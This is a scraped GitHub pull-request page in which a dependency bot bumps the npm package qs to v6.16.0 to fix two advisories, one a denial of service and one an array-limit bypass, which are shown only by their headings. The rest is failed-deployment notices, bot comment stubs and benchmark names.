github-actions Bot added the area/deps Relates to third-party dependencies (area) label Sep 2, 2026

vercel Bot had a problem deploying to Preview – hashdotdesign-tokens September 2, 2026 15:25 Failure

vercel Bot had a problem deploying to Preview – petrinaut-docs September 2, 2026 15:25 Failure

hash-dependencies Bot had a problem deploying to pull-request September 2, 2026 15:25 Failure

vercel Bot had a problem deploying to Preview – petrinaut September 2, 2026 15:25 Failure

vercel Bot had a problem deploying to Preview – hash September 2, 2026 15:26 Failure

cursor Bot reviewed Sep 2, 2026

View reviewed changes

Update npm package qs to v6.16.0 [SECURITY]

bb195e1

hash-dependencies Bot force-pushed the deps/js/npm-qs-vulnerability branch from 99a747a to bb195e1 Compare September 3, 2026 22:40

vercel Bot had a problem deploying to Preview – petrinaut September 3, 2026 22:41 Failure

hash-dependencies Bot had a problem deploying to pull-request September 3, 2026 22:42 Failure

vercel Bot had a problem deploying to Preview – petrinaut-docs September 3, 2026 22:44 Failure

vercel Bot had a problem deploying to Preview – hash September 3, 2026 22:45 Failure

vercel Bot had a problem deploying to Preview – hashdotdesign-tokens September 3, 2026 22:48 Failure

Navigation Menu

Uh oh!

Update npm package `qs` to v6.16.0 [SECURITY] - #9504

Update npm package `qs` to v6.16.0 [SECURITY]#9504
hash-dependencies[bot] wants to merge 1 commit into
mainfrom
deps/js/npm-qs-vulnerability

hash-dependencies Bot commented Sep 2, 2026 •

edited

Loading

Uh oh!

hash-dependencies Bot commented Sep 2, 2026 •

edited

Loading

Uh oh!

vercel Bot commented Sep 2, 2026 •

edited

Loading

Uh oh!

cursor Bot commented Sep 2, 2026 •

edited

Loading

Uh oh!

cursor Bot left a comment

Uh oh!

cursor Bot Sep 2, 2026

Uh oh!

codecov Bot commented Sep 2, 2026 •

edited

Loading

Uh oh!

codspeed-hq Bot commented Sep 2, 2026 •

edited

Loading

Uh oh!

github-actions Bot commented Sep 3, 2026

@rust/hash-graph-benches – Integrations

policy_resolution_large

policy_resolution_medium

policy_resolution_none

policy_resolution_small

read_scaling_complete

read_scaling_linkless

representative_read_entity

representative_read_entity_type

representative_read_multiple_entities

scenarios

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

1 participant

Uh oh!

Conversation

hash-dependencies Bot commented Sep 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

qs: Denial of Service via Attacker Controlled isBuffer

Details

Summary

Details

Trust Boundary Note

PoC

Execution Steps

Reproduction Evidence

Impact

Recommended Fix

Severity

References

qs array-limit bypass via bracket-key comma parsing

Details

Summary

Details

PoC

Impact

Severity

References

Release Notes

v6.16.0

v6.15.3

Configuration

Uh oh!

hash-dependencies Bot commented Sep 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

⚠️ Artifact update problem

File name: yarn.lock

Uh oh!

vercel Bot commented Sep 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

cursor Bot commented Sep 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

PR Summary

Uh oh!

cursor Bot left a comment

Choose a reason for hiding this comment

Uh oh!

cursor Bot Sep 2, 2026

Choose a reason for hiding this comment

Lockfile still pins vulnerable qs

Uh oh!

codecov Bot commented Sep 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Codecov Report

Uh oh!

codspeed-hq Bot commented Sep 2, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Merging this PR will not alter performance

Uh oh!

github-actions Bot commented Sep 3, 2026

Benchmark results

@rust/hash-graph-benches – Integrations

policy_resolution_large

policy_resolution_medium

policy_resolution_none

policy_resolution_small

read_scaling_complete

read_scaling_linkless

representative_read_entity

representative_read_entity_type

representative_read_multiple_entities

scenarios

Uh oh!

Reviewers

Assignees

Labels

Milestone

Development

Uh oh!

1 participant

hash-dependencies Bot commented Sep 2, 2026 •

edited

Loading

`v6.16.0`

`v6.15.3`

hash-dependencies Bot commented Sep 2, 2026 •

edited

Loading

vercel Bot commented Sep 2, 2026 •

edited

Loading

cursor Bot commented Sep 2, 2026 •

edited

Loading

codecov Bot commented Sep 2, 2026 •

edited

Loading

codspeed-hq Bot commented Sep 2, 2026 •

edited

Loading